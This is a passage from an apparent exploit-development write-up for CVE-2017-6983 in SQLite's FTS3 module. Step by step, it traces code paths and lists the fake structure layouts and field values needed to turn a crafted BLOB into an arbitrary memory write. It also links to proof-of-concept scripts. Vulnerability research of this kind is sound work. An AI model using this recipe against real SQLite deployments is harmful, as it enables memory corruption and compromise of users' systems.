672 | ### 8. sqlite3Fts3Optimize > sqlite3Fts3Optimize > sqlite3Fts3SegmentsClose > sqlite3\_blob\_close > sqlite3DbFree > sqlite3DbFreeNN > measureAllocationSize > sqlite3DbMallocSize
673 |
674 | Nothing special, move on to `sqlite3DbMallocSize`.
675 |
676 | ```c
677 | 29293 SQLITE_PRIVATE int sqlite3DbMallocSize(sqlite3 *db, const void *p){
678 | 29294 assert( p!=0 );
679 | 29295 #ifdef SQLITE_DEBUG
680 | 29296 if( db==0 ){
681 | 29297 assert( sqlite3MemdebugNoType(p, (u8)~MEMTYPE_HEAP) );
682 | 29298 assert( sqlite3MemdebugHasType(p, MEMTYPE_HEAP) );
683 | 29299 }else if( !isLookaside(db,p) ){
684 | 29300 assert( sqlite3MemdebugHasType(p, (MEMTYPE_LOOKASIDE|MEMTYPE_HEAP)) );
685 | 29301 assert( sqlite3MemdebugNoType(p, (u8)~(MEMTYPE_LOOKASIDE|MEMTYPE_HEAP)) );
686 | 29302 }
687 | 29303 #endif
688 | 29304 if( db ){
689 | 29305 if( ((uptr)p)<(uptr)(db->lookaside.pTrueEnd) ){
690 | ... ...
691 | 29316 }
692 | 29317 }
693 | 29318 return sqlite3GlobalConfig.m.xSize((void*)p);
694 | 29319 }
695 | ```
696 |
697 | `isLookaside` requires extra conditions related to `p`, `sqlite3.lookaside.pStart` and `sqlite3.lookaside.pTrueEnd`. However, since `assert` is not working here at all, we can simply skip it.
698 |
699 | We just need to make sure `p < db->lookaside.pTrueEnd` is `False`.
700 |
701 | ```txt
702 | #########################################################################
703 | # Fts3Cursor (0x80)
704 | # Fts3Table (0x220)
705 | # Incrblob (0x38)
706 | # sqlite3 (0x308)
707 | # nBytesFreed (0x4)
708 | #########################################################################
709 | Fts3Cursor.base.pVtable = &Fts3Table
710 | Fts3Table.db = 0
711 | Fts3Table.pSegments = &Incrblob
712 | Incrblob.db = &sqlite3
713 | sqlite3.mutex = 0
714 | sqlite3.lookaside.pEnd = 0
715 | sqlite3.pnBytesFreed = &nBytesFreed
716 | + sqlite3.lookaside.pTrueEnd = 0
717 | ```
718 |
719 | ### malloc_usable_size
720 |
721 | `sqlite3GlobalConfig.m.xSize` will inovke `malloc_usable_size` in glibc to obtain the allocation size of `p`. Although this part is quit standard, we should be careful about one thing. Here is the code logic in `malloc_useable_size`.
722 |
723 | ```c
724 | struct malloc_chunk {
725 | INTERNAL_SIZE_T prev_size; /* Size of previous chunk (if free). */
726 | INTERNAL_SIZE_T size; /* Size in bytes, including overhead. */
727 | struct malloc_chunk* fd; /* double links -- used only if free. */
728 | struct malloc_chunk* bk;
729 | };
730 | typedef struct malloc_chunk* malloc_chunk;
731 |
732 | #define chunk2mem(p) ((Void_t*)((char*)(p) + 2*SIZE_SZ))
733 | #define mem2chunk(mem) ((mchunkptr)((char*)(mem) - 2*SIZE_SZ))
734 | /* Get size, ignoring use bits */
735 | #define chunksize(p) ((p)->size & ~(SIZE_BITS))
736 | /* check for mmap()'ed chunk */
737 | #define chunk_is_mmapped(p) ((p)->size & IS_MMAPPED)
738 | /* extract p's inuse bit */
739 | #define inuse(p) ((((mchunkptr)(((char*)(p))+((p)->size & ~SIZE_BITS)))->size) & PREV_INUSE)
740 |
741 | // ------------------------- malloc_usable_size -------------------------
742 | {
743 | mchunkptr p;
744 | if (mem != 0) {
745 | p = mem2chunk(mem);
746 | if (chunk_is_mmapped(p))
747 | return chunksize(p) - 2*SIZE_SZ;
748 | else if (inuse(p))
749 | return chunksize(p) - SIZE_SZ;
750 | }
751 | return 0;
752 | }
753 | ```
754 |
755 | This is a little complex, but we can try to make it simpler
756 |
757 | ```c
758 |
759 | size_t malloc_usable_size(void *mem) {
760 |
761 | if (mem != NULL) {
762 | mchunkptr p = (mchunkptr) ((char *)mem - 2 * 8);
763 | if (p->size & 0x2)
764 | return p->size - 2 * 8;
765 | else {
766 | mchunkptr next = (mchunkptr) ((char *)p + p->size & ~0x7);
767 | if (next->size & 0x1)
768 | return p->size - 8;
769 | }
770 |
771 | }
772 | return 0;
773 | }
774 | ```
775 |
776 | Here the tricky part is that, it will check the value before this pointer. This is due to the management of heap checks in glibc, which puts metadata (like size, flags etc) before the address returned to users.
777 |
778 | In this case, we want the code to be simple, like return 0. To do so, we need to control the 8 bytes before this pointer, and set them all to 0.
779 |
780 | * `p->size` is 0, so we go to else block
781 | * `next` is exactly `p`, since `p->size` is 0
782 | * `next->size` is also 0.
783 | * we reach the last line, which returns 0.
784 |
785 | Therefore, we need to reserve 8 bytes before any pointer (which is `Incrblob` here).
786 |
787 | ```txt
788 | #########################################################################
789 | # Fts3Cursor (0x80)
790 | # Fts3Table (0x220)
791 | # + Incrblob_metadata (0x8)
792 | # Incrblob (0x38)
793 | # sqlite3 (0x308)
794 | # nBytesFreed (0x4)
795 | # Vdbe (0x138)
796 | #########################################################################
797 | Fts3Cursor.base.pVtable = &Fts3Table
798 | Fts3Table.db = 0
799 | Fts3Table.pSegments = &Incrblob
800 | + Incrblob_metadata = 0
801 | Incrblob.db = &sqlite3
802 | sqlite3.mutex = 0
803 | sqlite3.lookaside.pEnd = 0
804 | sqlite3.pnBytesFreed = &nBytesFreed
805 | sqlite3.lookaside.pTrueEnd = 0
806 | ```
807 |
808 | The stack layout at `malloc_useable_size` is as follows.
809 |
810 | ```bash
811 | #0 __malloc_usable_size (m=0x667d78) at ./malloc/malloc.c:5138
812 | #1 0x000000000058e99d in sqlite3MemSize (pPrior=0x667d78) at sqlite3.c:25540
813 | #2 0x0000000000448878 in sqlite3DbMallocSize (db=0x667db0, p=0x667d78) at sqlite3.c:29318
814 | #3 0x000000000046a91d in measureAllocationSize (db=0x667db0, p=0x667d78) at sqlite3.c:29349
815 | #4 0x000000000046a895 in sqlite3DbFreeNN (db=0x667db0, p=0x667d78) at sqlite3.c:29386
816 | #5 0x0000000000448cf6 in sqlite3DbFree (db=0x667db0, p=0x667d78) at sqlite3.c:29435
817 | #6 0x000000000045a894 in sqlite3_blob_close (pBlob=0x667d78) at sqlite3.c:98933
818 | #7 0x000000000059505c in sqlite3Fts3SegmentsClose (p=0x667b58) at sqlite3.c:190162
819 | #8 0x00000000005b6df1 in sqlite3Fts3Optimize (p=0x667b58) at sqlite3.c:194718
820 | #9 0x00000000005b3d92 in fts3OptimizeFunc (pContext=0x664700, nVal=0x1, apVal=0x664730) at sqlite3.c:182457
821 | ```
822 |
823 | ### 9. sqlite3Fts3Optimize > sqlite3Fts3Optimize > sqlite3Fts3SegmentsClose > sqlite3\_blob\_close
824 |
825 | Now the execution go back to frame 6, which is within `sqlite3_blob_close`, line 98933.
826 |
827 | ```c
828 | 98924 SQLITE_API int sqlite3_blob_close(sqlite3_blob *pBlob){
829 | 98925 Incrblob *p = (Incrblob *)pBlob;
830 | 98926 int rc;
831 | 98927 sqlite3 *db;
832 | 98928
833 | 98929 if( p ){
834 | 98930 sqlite3_stmt *pStmt = p->pStmt;
835 | 98931 db = p->db;
836 | 98932 sqlite3_mutex_enter(db->mutex);
837 | 98933 sqlite3DbFree(db, p);
838 | >98934 sqlite3_mutex_leave(db->mutex);
839 | 98935 rc = sqlite3_finalize(pStmt);
840 | 98936 }else{
841 | 98937 rc = SQLITE_OK;
842 | 98938 }
843 | 98939 return rc;
844 | 98940 }
845 | ```
846 |
847 | `sqlit3_mutex_leave` just leaves the mutex.
848 |
849 | ### 10. sqlite3Fts3Optimize > sqlite3Fts3Optimize > sqlite3Fts3SegmentsClose > sqlite3\_blob\_close > sqlite3_finalize
850 |
851 | Now we are going to enter `sqlite3_fianlize` function, with `pStmt` as the only argument. `pStmt` comes from `p->pStmt`. Here, this `p` points to the `Incrblob` structure. We may need to set `Incrblob.pStmt` later.
852 |
853 | ```c
854 | 87424 /*
855 | 87425 ** The following routine destroys a virtual machine that is created by
856 | 87426 ** the sqlite3_compile() routine. The integer returned is an SQLITE_
857 | 87427 ** success/failure code that describes the result of executing the virtual
858 | 87428 ** machine.
859 | 87429 **
860 | 87430 ** This routine sets the error code and string returned by
861 | 87431 ** sqlite3_errcode(), sqlite3_errmsg() and sqlite3_errmsg16().
862 | 87432 */
863 | 87433 SQLITE_API int sqlite3_finalize(sqlite3_stmt *pStmt){
864 | 87434 int rc;
865 | 87435 if( pStmt==0 ){
866 | 87436 /* IMPLEMENTATION-OF: R-57228-12904 Invoking sqlite3_finalize() on a NULL
867 | 87437 ** pointer is a harmless no-op. */
868 | 87438 rc = SQLITE_OK;
869 | 87439 }else{
870 | 87440 Vdbe *v = (Vdbe*)pStmt;
871 | 87441 sqlite3 *db = v->db;
872 | 87442 if( vdbeSafety(v) ) return SQLITE_MISUSE_BKPT;
873 | 87443 sqlite3_mutex_enter(db->mutex);
874 | 87444 checkProfileCallback(db, v);
875 | 87445 assert( v->eVdbeState>=VDBE_READY_STATE );
876 | 87446 rc = sqlite3VdbeReset(v);
877 | 87447 sqlite3VdbeDelete(v);
878 | 87448 rc = sqlite3ApiExit(db, rc);
879 | 87449 sqlite3LeaveMutexAndCloseZombie(db);
880 | 87450 }
881 | 87451 return rc;
882 | 87452 }
883 | ```
884 |
885 | If we set `pStmt` to `0`, the whole function call will immediately return. However, we have not achieved arbitrary memory write, so we cannot make it zero.
886 |
887 | Instead, we need to make `pStmt` point to a `Vdbe` structure based on line `87440`. Within the `Vdbe` structure, we need to set `db` to point to a `sqlite3`. Here, we reuse the previous `sqlite3` structure to reduce the footprint. However, if there is any conflict, we will need to come back and create a seperate `sqlite3`.
888 |
889 | ```txt
890 | #########################################################################
891 | # Fts3Cursor (0x80)
892 | # Fts3Table (0x220)
893 | # Incrblob_metadata (0x8)
894 | # Incrblob (0x38)
895 | # sqlite3 (0x308)
896 | # nBytesFreed (0x4)
897 | # + Vdbe (0x138)
898 | #########################################################################
899 | Fts3Cursor.base.pVtable = &Fts3Table
900 | Fts3Table.db = 0
901 | Fts3Table.pSegments = &Incrblob
902 | Incrblob_metadata = 0
903 | Incrblob.db = &sqlite3
904 | sqlite3.mutex = 0
905 | sqlite3.lookaside.pEnd = 0
906 | sqlite3.pnBytesFreed = &nBytesFreed
907 | sqlite3.lookaside.pTrueEnd = 0
908 | + Incrblob.pStmt = &Vdbe
909 | + Vdbe.db = &sqlite3
910 | ```
911 |
912 | ```c
913 | 87373 static int vdbeSafety(Vdbe *p){
914 | 87374 if( p->db==0 ){
915 | 87375 sqlite3_log(SQLITE_MISUSE, "API called with finalized prepared statement");
916 | 87376 return 1;
917 | 87377 }else{
918 | 87378 return 0;
919 | 87379 }
920 | 87380 }
921 | ```
922 |
923 | `vdbeSatefy` merely checks its `db` member, so we have fixed it by pointing to a real (fake) `sqlite` structure.
924 |
925 | ```c
926 | 87414 /*
927 | 87415 ** The checkProfileCallback(DB,P) macro checks to see if a profile callback
928 | 87416 ** is needed, and it invokes the callback if it is needed.
929 | 87417 */
930 | 87418 # define checkProfileCallback(DB,P) \
931 | 87419 if( ((P)->startTime)>0 ){ invokeProfileCallback(DB,P); }
932 | 87420 #else
933 | 87421 # define checkProfileCallback(DB,P) /*no-op*/
934 | 87422 #endif
935 | ```
936 |
937 | We need to set `Vdbe.startTime` to 0 to avoid invoking `invokeProfileCallback`. Also, need to set `Vdbe.eVdbeState = 1` to bypass the `assert` at line 87745.
938 |
939 | ```txt
940 | #########################################################################
941 | # Fts3Cursor (0x80)
942 | # Fts3Table (0x220)
943 | # Incrblob_metadata (0x8)
944 | # Incrblob (0x38)
945 | # sqlite3 (0x308)
946 | # nBytesFreed (0x4)
947 | # Vdbe (0x138)
948 | #########################################################################
949 | Fts3Cursor.base.pVtable = &Fts3Table
950 | Fts3Table.db = 0
951 | Fts3Table.pSegments = &Incrblob
952 | Incrblob_metadata = 0
953 | Incrblob.db = &sqlite3
954 | sqlite3.mutex = 0
955 | sqlite3.lookaside.pEnd = 0
956 | sqlite3.pnBytesFreed = &nBytesFreed
957 | sqlite3.lookaside.pTrueEnd = 0
958 | Incrblob.pStmt = &Vdbe
959 | Vdbe.db = &sqlite3
960 | + Vdbe.startTime = 0
961 | + Vdbe.eVdbeState = 1
962 | ```
963 |
964 | ### 11. sqlite3Fts3Optimize > sqlite3Fts3Optimize > sqlite3Fts3SegmentsClose > sqlite3\_blob\_close > sqlite3_finalize > sqlite3VdbeReset
965 |
966 | Now we enter `sqlite3VdbeReset`. This function is long and complex, so we will take time to analyze it.
967 |
968 | ```c
969 | 85436 if( p->eVdbeState==VDBE_RUN_STATE ) sqlite3VdbeHalt(p);
970 | ```
971 |
972 | We have set `eVdbeState` to `VDBE_READY_STATE`, not `VDBE_RUN_STATE`.
973 |
974 | ```c
975 | 85438 /* If the VDBE has been run even partially, then transfer the error code
976 | 85439 ** and error message from the VDBE into the main database structure. But
977 | 85440 ** if the VDBE has just been set to run but has not actually executed any
978 | 85441 ** instructions yet, leave the main database error information unchanged.
979 | 85442 */
980 | 85443 if( p->pc>=0 ){
981 | 85444 vdbeInvokeSqllog(p);
982 | 85445 if( db->pErr || p->zErrMsg ){
983 | 85446 sqlite3VdbeTransferError(p);
984 | 85447 }else{
985 | 85448 db->errCode = p->rc;
986 | 85449 }
987 | 85450 }
988 | ```
989 |
990 | Here we want the execution go into `sqlite3VbdeTransferError`, so we make `p->pc = 0`. Meanwhile, we make `db-pErr` point to a valid `sqlite3_value` structure, and make `p->zErrMsg` to a temporary pointer, say the same as `base`.
991 |
992 | ```txt
993 | #########################################################################
994 | # Fts3Cursor (0x80)
995 | # Fts3Table (0x220)
996 | # Incrblob_metadata (0x8)
997 | # Incrblob (0x38)
998 | # sqlite3 (0x308)
999 | # nBytesFreed (0x4)
1000 | # Vdbe (0x138)
1001 | # + sqlite3_value (0x48)
1002 | #########################################################################
1003 | Fts3Cursor.base.pVtable = &Fts3Table
1004 | Fts3Table.db = 0
1005 | Fts3Table.pSegments = &Incrblob
1006 | Incrblob_metadata = 0
1007 | Incrblob.db = &sqlite3
1008 | sqlite3.mutex = 0
1009 | sqlite3.lookaside.pEnd = 0
1010 | sqlite3.pnBytesFreed = &nBytesFreed
1011 | sqlite3.lookaside.pTrueEnd = 0
1012 | Incrblob.pStmt = &Vdbe
1013 | Vdbe.db = &sqlite3
1014 | Vdbe.startTime = 0
1015 | Vdbe.eVdbeState = 1
1016 | + Vdbe.pc = 0
1017 | + Vdbe.zErrMsg = &Fts3Cursor (temporary)
1018 | + sqlite3.pErr = &sqlite3_value
1019 | ```
1020 |
1021 | After this setting, we are ready to invoke `sqlite3VdbeTransferError`.
1022 |
1023 | ### 12. sqlite3Fts3Optimize > sqlite3Fts3Optimize > sqlite3Fts3SegmentsClose > sqlite3\_blob\_close > sqlite3_finalize > sqlite3VdbeReset > sqlite3VdbeTransferError
1024 |
1025 | ```c
1026 | 85367 ** Copy the error code and error message belonging to the VDBE passed
1027 | 85368 ** as the first argument to its database handle (so that they will be
1028 | 85369 ** returned by calls to sqlite3_errcode() and sqlite3_errmsg()).
1029 | 85370 **
1030 | 85371 ** This function does not clear the VDBE error code or message, just
1031 | 85372 ** copies them to the database handle.
1032 | 85373 */
1033 | 85374 SQLITE_PRIVATE int sqlite3VdbeTransferError(Vdbe *p){
1034 | 85375 sqlite3 *db = p->db;
1035 | 85376 int rc = p->rc;
1036 | 85377 if( p->zErrMsg ){
1037 | 85378 db->bBenignMalloc++;
1038 | 85379 sqlite3BeginBenignMalloc();
1039 | 85380 if( db->pErr==0 ) db->pErr = sqlite3ValueNew(db);
1040 | 85381 sqlite3ValueSetStr(db->pErr, -1, p->zErrMsg, SQLITE_UTF8, SQLITE_TRANSIENT);
1041 | 85382 sqlite3EndBenignMalloc();
1042 | 85383 db->bBenignMalloc--;
1043 | 85384 }else if( db->pErr ){
1044 | 85385 sqlite3ValueSetNull(db->pErr);
1045 | 85386 }
1046 | 85387 db->errCode = rc;
1047 | 85388 db->errByteOffset = -1;
1048 | 85389 return rc;
1049 | 85390 }
1050 | ```
1051 |
1052 | * At line 85377, `p->zErrMsg` is not `NULL`, so we will enter the `if` block.
1053 | * At line 85380, `db->pErr` is not `NULL`, so we skip the allocation.
1054 |
1055 | We are ready to enter function `sqlite3ValueSetStr`.
1056 |
1057 | ### 13. sqlite3Fts3Optimize > sqlite3Fts3Optimize > sqlite3Fts3SegmentsClose > sqlite3\_blob\_close > sqlite3_finalize > sqlite3VdbeReset > sqlite3VdbeTransferError > sqlite3ValueSetStr
1058 |
1059 | ```c
1060 | 81958 SQLITE_PRIVATE void sqlite3ValueSetStr(
1061 | 81959 sqlite3_value *v, /* Value to be set */
1062 | 81960 int n, /* Length of string z */
1063 | 81961 const void *z, /* Text of the new string */
1064 | 81962 u8 enc, /* Encoding to use */
1065 | 81963 void (*xDel)(void*) /* Destructor for the string */
1066 | 81964 ){
1067 | 81965 if( v ) sqlite3VdbeMemSetStr((Mem *)v, z, n, enc, xDel);
1068 | 81966 }
1069 | ```
1070 |
1071 | The code here is very simple. Since `v`, which is `db->pErr` is not `NULL`, we will enter function `sqlite3VdbeMemSetStr`.
1072 |
1073 | ### 14. sqlite3Fts3Optimize > sqlite3Fts3Optimize > sqlite3Fts3SegmentsClose > sqlite3\_blob\_close > sqlite3_finalize > sqlite3VdbeReset > sqlite3VdbeTransferError > sqlite3ValueSetStr > sqlite3VdbeMemSetStr
1074 |
1075 | This function is also complex. However, the overall function is like a `memcpy(dst, src, n)`
1076 |
1077 | There are a few extra constraints needed to be fixed.
1078 |
1079 | Constraints in this function:
1080 |
1081 | * `sqlite3_value.db` should be 0 to bypass an assert check at line 81169.
1082 |
1083 | Constraints in function `sqlite3VdbeMemClearAndResize`.
1084 |
1085 | * `sqlite3_value.szMalloc` should be larger than 0x20; make it `0x100` to simplify the task
1086 | * `sqlite3_value.flags & MEM_Dyn` should be `0`, so just set the `flags` to 0
1087 | * `sqlite3_value.zMalloc` is copied to `sqlite3_value.z`. This is the destination pointer.
1088 |
1089 |
1090 | ```txt
1091 | #########################################################################
1092 | # Fts3Cursor (0x80)
1093 | # Fts3Table (0x220)
1094 | # Incrblob_metadata (0x8)
1095 | # Incrblob (0x38)
1096 | # sqlite3 (0x308)
1097 | # nBytesFreed (0x4)
1098 | # Vdbe (0x138)
1099 | # sqlite3_value (0x48)
1100 | #########################################################################
1101 | Fts3Cursor.base.pVtable = &Fts3Table
1102 | Fts3Table.db = 0
1103 | Fts3Table.pSegments = &Incrblob
1104 | Incrblob_metadata = 0
1105 | Incrblob.db = &sqlite3
1106 | sqlite3.mutex = 0
1107 | sqlite3.lookaside.pEnd = 0
1108 | sqlite3.pnBytesFreed = &nBytesFreed
1109 | sqlite3.lookaside.pTrueEnd = 0
1110 | Incrblob.pStmt = &Vdbe
1111 | Vdbe.db = &sqlite3
1112 | Vdbe.startTime = 0
1113 | Vdbe.eVdbeState = 1
1114 | Vdbe.pc = 0
1115 | Vdbe.zErrMsg = &Fts3Cursor (temporary)
1116 | sqlite3.pErr = &sqlite3_value
1117 | + sqlite3_value.db = 0
1118 | + sqlite3_value.szMalloc = 0x100
1119 | + sqlite3_value.flags = 0
1120 | + sqlite3_value.zMalloc = 0xdeadbeef
1121 | ```
1122 |
1123 | Once this setting is done, we will reach the following line in `sqlite3VdbeMemSetStr`, which is exactly a call to `memcpy`.
1124 |
1125 | ```c
1126 | 81225 memcpy(pMem->z, z, nAlloc);
1127 | ```
1128 |
1129 | At this moment, we finally achieve arbitrary memory write, from any location, to any location.
1130 |
1131 | ### 15. sqlite3Fts3Optimize > sqlite3Fts3Optimize > sqlite3Fts3SegmentsClose > sqlite3\_blob\_close > sqlite3_finalize > sqlite3VdbeReset
1132 |
1133 | The execution will return back to `sqlite3VdbeReset` at line 85447.
1134 |
1135 | ```c
1136 | 85429 sqlite3 *db;
1137 | 85430 db = p->db;
1138 | ... ...
1139 | 85443 if( p->pc>=0 ){
1140 | 85444 vdbeInvokeSqllog(p);
1141 | 85445 if( db->pErr || p->zErrMsg ){
1142 | 85446 sqlite3VdbeTransferError(p);
1143 | 85447 }else{
1144 | 85448 db->errCode = p->rc;
1145 | 85449 }
1146 | 85450 }
1147 | ...
1148 | 85457 if( p->apCsr ) ...
1149 | 85458 if( p->aMem ){
1150 | 85459 ...
1151 | 85460 }
1152 | 85461
1153 | 85462 if( p->zErrMsg ){
1154 | 85463 sqlite3DbFree(db, p->zErrMsg);
1155 | 85464 p->zErrMsg = 0;
1156 | 85465 }
1157 | ... ... // note: VDBE_PROFILE is false
1158 | 85506 return p->rc & db->errMask;
1159 | 85507 }
1160 | ```
1161 |
1162 | We need to set `p->apCsr`, `p->aMem` to 0. `p->zErrMsg` is not `NULL` so the execution will go into `sqlite3DbFree`. We do not have to worry about it, since we have set up a proper `sqlite` before and reuse it for this `db`.
1163 |
1164 | ```txt
1165 | #########################################################################
1166 | # Fts3Cursor (0x80)
1167 | # Fts3Table (0x220)
1168 | # Incrblob_metadata (0x8)
1169 | # Incrblob (0x38)
1170 | # sqlite3 (0x308)
1171 | # nBytesFreed (0x4)
1172 | # Vdbe (0x138)
1173 | # sqlite3_value (0x48)
1174 | #########################################################################
1175 | Fts3Cursor.base.pVtable = &Fts3Table
1176 | Fts3Table.db = 0
1177 | Fts3Table.pSegments = &Incrblob
1178 | Incrblob_metadata = 0
1179 | Incrblob.db = &sqlite3
1180 | sqlite3.mutex = 0
1181 | sqlite3.lookaside.pEnd = 0
1182 | sqlite3.pnBytesFreed = &nBytesFreed
1183 | sqlite3.lookaside.pTrueEnd = 0
1184 | Incrblob.pStmt = &Vdbe
1185 | Vdbe.db = &sqlite3
1186 | Vdbe.startTime = 0
1187 | Vdbe.eVdbeState = 1
1188 | Vdbe.pc = 0
1189 | Vdbe.zErrMsg = src_ptr
1190 | sqlite3.pErr = &sqlite3_value
1191 | sqlite3_value.szMalloc = 0x100
1192 | sqlite3_value.flags = 0
1193 | sqlite3_value.zMalloc = dst_ptr
1194 | + Vdbe.apCsr = 0
1195 | + Vdbe.aMem = 0
1196 | ```
1197 | OK, we are good to return now, returning to line 87447 within function `sqlite3_finalize`.
1198 |
1199 | ```c
1200 | 87433 SQLITE_API int sqlite3_finalize(sqlite3_stmt *pStmt){
1201 | 87434 int rc;
1202 | 87435 if( pStmt==0 ){
1203 | 87436 /* IMPLEMENTATION-OF: R-57228-12904 Invoking sqlite3_finalize() on a NULL
1204 | 87437 ** pointer is a harmless no-op. */
1205 | 87438 rc = SQLITE_OK;
1206 | 87439 }else{
1207 | 87440 Vdbe *v = (Vdbe*)pStmt;
1208 | 87441 sqlite3 *db = v->db;
1209 | 87442 if( vdbeSafety(v) ) return SQLITE_MISUSE_BKPT;
1210 | 87443 sqlite3_mutex_enter(db->mutex);
1211 | 87444 checkProfileCallback(db, v);
1212 | 87445 assert( v->eVdbeState>=VDBE_READY_STATE );
1213 | 87446 rc = sqlite3VdbeReset(v);
1214 | >87447 sqlite3VdbeDelete(v);
1215 | 87448 rc = sqlite3ApiExit(db, rc);
1216 | 87449 sqlite3LeaveMutexAndCloseZombie(db);
1217 | 87450 }
1218 | 87451 return rc;
1219 | 87452 }
1220 | ```
1221 |
1222 | The execution will go through multiple functions, with some extra constraints.
1223 |
1224 | ```txt
1225 | #----------------------------------------------------------
1226 | # expected layout:
1227 |
1228 | # Fts3Cursor (0x80)
1229 | # Fts3Table (0x220)
1230 | # Incrblob_metadata (0x8)
1231 | # Incrblob (0x38)
1232 | # sqlite3 (0x308)
1233 | # nBytesFreed (0x4)
1234 | # Vdbe_metadata (0x8)
1235 | # Vdbe (0x138)
1236 | # sqlite3_value (0x48)
1237 | # malicious metadata (0x8)
1238 | # malicious value/string (?)
1239 |
1240 | #----------------------------------------------------------
1241 | # required type.member values:
1242 |
1243 | # Fts3Cursor.base.pVtable = &Fts3Table (line 182454 @ fts3OptimizeFunc)
1244 | # Fts3Table.db = 0 (line 34895 @ sqlite3SafetyCheckOk)
1245 | # Fts3Table.pSegments = &Incrblob (line 98925 @ sqlite3_blob_close)
1246 | # Incrblob_metadata = 0 (due to malloc_usable_size)
1247 | # Incrblob.db = &sqlite3 (line 98931 @ sqlite3_blob_close)
1248 | # sqlite3.mutex = 0 (line 98932 @ sqlite3_blob_close)
1249 | # sqlite3.lookaside.pEnd = 0 (line 29361 @ sqlite3DbFreeNN)
1250 | # sqlite3.pnBytesFreed = &nBytesFreed (line 29385 @ sqlite3DbFreeNN)
1251 | # sqlite3.lookaside.pTrueEnd = 0 (line 29305 @ isqlite3DbMallocSize)
1252 | # Incrblob.pStmt = &Vdbe (line 87440 @ sqlite3_finalize)
1253 | # Vdbe_metadata = 0 (due to malloc_usable_size)
1254 | # Vdbe.db = &sqlite3 (line 87441 @ sqlite3_finalize)
1255 | # Vdbe.startTime = 0 (line 87444 @ sqlite3_finalize)
1256 | # Vdbe.eVdbeState = 1 (line 87445 @ sqlite3_finalize)
1257 | # Vdbe.pc = 0 (line 85443 @ sqlite3VdbeReset)
1258 | # Vdbe.zErrMsg = src_ptr (line 85445 @ sqlite3VdbeReset)
1259 | # sqlite3.pErr = &sqlite3_value (line 85445 @ sqlite3VdbeReset)
1260 | # sqlite3_value.db = 0 (line 81169 @ sqlite3VdbeMemSetStr)
1261 | # sqlite3_value.flags = 0 (line 80323 @ sqlite3VdbeMemClearAndResize)
1262 | # sqlite3_value.szMalloc = 0x100 (line 80324 @ sqlite3VdbeMemClearAndResize)
1263 | # sqlite3_value.zMalloc = dst_ptr (line 80328 @ sqlite3VdbeMemClearAndResize)
1264 | # Vdbe.apCsr = 0 (line 85457 @ sqlite3VdbeReset)
1265 | # Vdbe.aMem = 0 (line 85458 @ sqlite3VdbeReset)
1266 | # Vdbe.aColName = 0 (line 85574 @ sqlite3VdbeClearObject)
1267 | # Vdbe.pProgram = 0 (line 85578 @ sqlite3VdbeClearObject)
1268 | # Vdbe.aVar = 0 (line 85584 @ sqlite3VdbeClearObject)
1269 | # Vdbe.pVList = 0 (line 85585 @ sqlite3VdbeClearObject)
1270 | # Vdbe.pFree = 0 (line 85586 @ sqlite3VdbeClearObject)
1271 | # Vdbe.aOp = 0 (line 85588 @ sqlite3VdbeClearObject)
1272 | # Vdbe.nOp = 0 (line 85588 @ sqlite3VdbeClearObject)
1273 | # Vdbe.zSql = 0 (line 85589 @ sqlite3VdbeClearObject)
1274 | # malicious_metadata = 0 (due to malloc_usable_size)
1275 | # malicious_content = Your-bad-value
1276 | ```
1277 |
1278 |
1279 | We can luckily keep returning, until we reach back to the very first function `fts3OptimizeFunc`
1280 |
1281 | ### 16. sqlite3Fts3Optimize
1282 |
1283 | ```c
1284 | 182457 rc = sqlite3Fts3Optimize(p);
1285 | 182458
1286 | >182459 switch( rc ){
1287 | 182460 case SQLITE_OK:
1288 | 182461 sqlite3_result_text(pContext, "Index optimized", -1, SQLITE_STATIC);
1289 | 182462 break;
1290 | 182463 case SQLITE_DONE:
1291 | 182464 sqlite3_result_text(pContext, "Index already optimal", -1, SQLITE_STATIC);
1292 | 182465 break;
1293 | 182466 default:
1294 | 182467 sqlite3_result_error_code(pContext, rc);
1295 | 182468 break;
1296 | 182469 }
1297 | 182470 }
1298 | ```
1299 |
1300 | `rc` here comes from `sqlite3Fts3Optimize`, where we have intensionally failed `sqlite3_exec`, which makes `rc` 0x15 -- `SQLITE_MISUSE`. If we just let SQLite continue, it will report an error on the terminal.
1301 |
1302 | ```bash
1303 | Runtime error near line 5: bad parameter or other API misuse (21)
1304 | ```
1305 |
1306 | This is OK since it does not stop the execution of more SQL queries.
1307 |
1308 | # The Complete Exploit
1309 |
1310 | We have completed the construction of a write-what-where primitive. The complete PoC is available at [cve-2017-6983-poc.py](./cve-2017-6983-poc.py).
1311 |
1312 | Note that we can remove all corruptions to `0` since in our initial malicious BLOB data, the content is almost all `0`. Therefore, the layout and required changes can be reduced to a simple version.
1313 |
1314 |
1315 | ```txt
1316 | #----------------------------------------------------------
1317 | # expected layout:
1318 |
1319 | # Fts3Cursor (0x80)
1320 | # Fts3Table (0x220)
1321 | # Incrblob_metadata (0x8)
1322 | # Incrblob (0x38)
1323 | # sqlite3 (0x308)
1324 | # nBytesFreed (0x4)
1325 | # Vdbe_metadata (0x8)
1326 | # Vdbe (0x138)
1327 | # sqlite3_value (0x48)
1328 | # malicious metadata (0x8)
1329 | # malicious value/string (?)
1330 |
1331 | #----------------------------------------------------------
1332 | # required type.member values:
1333 |
1334 | # Fts3Cursor.base.pVtable = &Fts3Table (line 182454 @ fts3OptimizeFunc)
1335 | # Fts3Table.pSegments = &Incrblob (line 98925 @ sqlite3_blob_close)
1336 | # Incrblob.db = &sqlite3 (line 98931 @ sqlite3_blob_close)
1337 | # sqlite3.pnBytesFreed = &nBytesFreed (line 29385 @ sqlite3DbFreeNN)
1338 | # Incrblob.pStmt = &Vdbe (line 87440 @ sqlite3_finalize)
1339 | # Vdbe.db = &sqlite3 (line 87441 @ sqlite3_finalize)
1340 | # Vdbe.eVdbeState = 1 (line 87445 @ sqlite3_finalize)
1341 | # Vdbe.zErrMsg = src_ptr (line 85445 @ sqlite3VdbeReset)
1342 | # sqlite3.pErr = &sqlite3_value (line 85445 @ sqlite3VdbeReset)
1343 | # sqlite3_value.szMalloc = 0x100 (line 80324 @ sqlite3VdbeMemClearAndResize)
1344 | # sqlite3_value.zMalloc = dst_ptr (line 80328 @ sqlite3VdbeMemClearAndResize)
1345 | # malicious_content = Your-bad-value
1346 | ```
1347 |
1348 |
1349 | The simplified PoC is available at [cve-2017-6983-poc-simple.py](./cve-2017-6983-poc-simple.py).
1350 |
1351 | # Exploit Compression
1352 |
1353 | The complete exploit works well, but the payload is a little long, at least 0x77c bytes, excluding the malicious string or value.
1354 |
1355 | ```txt
